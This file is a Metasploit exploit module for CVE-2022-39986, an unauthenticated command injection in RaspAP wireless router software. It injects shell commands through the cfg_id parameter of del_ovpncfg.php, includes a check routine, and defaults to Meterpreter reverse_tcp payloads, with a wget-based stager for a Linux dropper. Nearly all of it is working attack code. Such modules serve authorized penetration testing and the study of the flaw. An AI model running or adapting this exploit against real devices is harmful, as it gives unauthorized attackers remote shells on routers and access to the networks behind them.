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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'RaspAP Unauthenticated Command Injection',
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        'Description' => %q{
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          RaspAP is feature-rich wireless router software that just works
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          on many popular Debian-based devices, including the Raspberry Pi.
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          A Command Injection vulnerability in RaspAP versions 2.8.0 thru 2.8.7 allows
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          unauthenticated attackers to execute arbitrary commands in the context of the user running RaspAP via the cfg_id
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          parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.
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          Successfully tested against RaspAP 2.8.0 and 2.8.7.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Ege BALCI <egebalci[at]pm.me>', # msf module
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          'Ismael0x00', # original PoC, analysis
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        ],
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        'References' => [
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          ['CVE', '2022-39986'],
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          ['URL', 'https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2'],
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          ['URL', 'https://github.com/advisories/GHSA-7c28-wg7r-pg6f']
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        ],
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        'Platform' => ['unix', 'linux'],
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        'Privileged' => false,
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        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
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        'Targets' => [
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          [
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            'Unix Command',
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            {
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              'Platform' => 'unix',
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              'Arch' => ARCH_CMD,
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              'Type' => :unix_cmd,
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              'DefaultOptions' => {
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                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
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              }
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            }
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          ],
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          [
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            'Linux Dropper',
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            {
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              'Platform' => 'linux',
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'Type' => :linux_dropper,
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              'CmdStagerFlavor' => :wget,
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              'DefaultOptions' => {
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                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
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              }
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            }
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          ]
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        ],
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        'DisclosureDate' => '2023-07-31',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(80),
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        OptString.new('TARGETURI', [ true, 'The URI of the RaspAP Web GUI', '/'])
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      ]
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    )
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  end
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  def check
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),
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      'method' => 'POST'
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    )
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    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
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    if res.code == 200
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      return CheckCode::Appears
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    end
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    CheckCode::Safe
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  end
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  def execute_command(cmd, _opts = {})
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    send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),
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      'method' => 'POST',
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      'vars_post' => {
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        'cfg_id' => ";#{cmd};#"
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      }
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    )
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  end
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  def exploit
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    case target['Type']
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    when :unix_cmd
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      print_status("Executing #{target.name} with #{payload.encoded}")
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      execute_command(payload.encoded)
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    when :linux_dropper
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      print_status("Executing #{target.name}")
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      execute_cmdstager
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    end
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  end
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end
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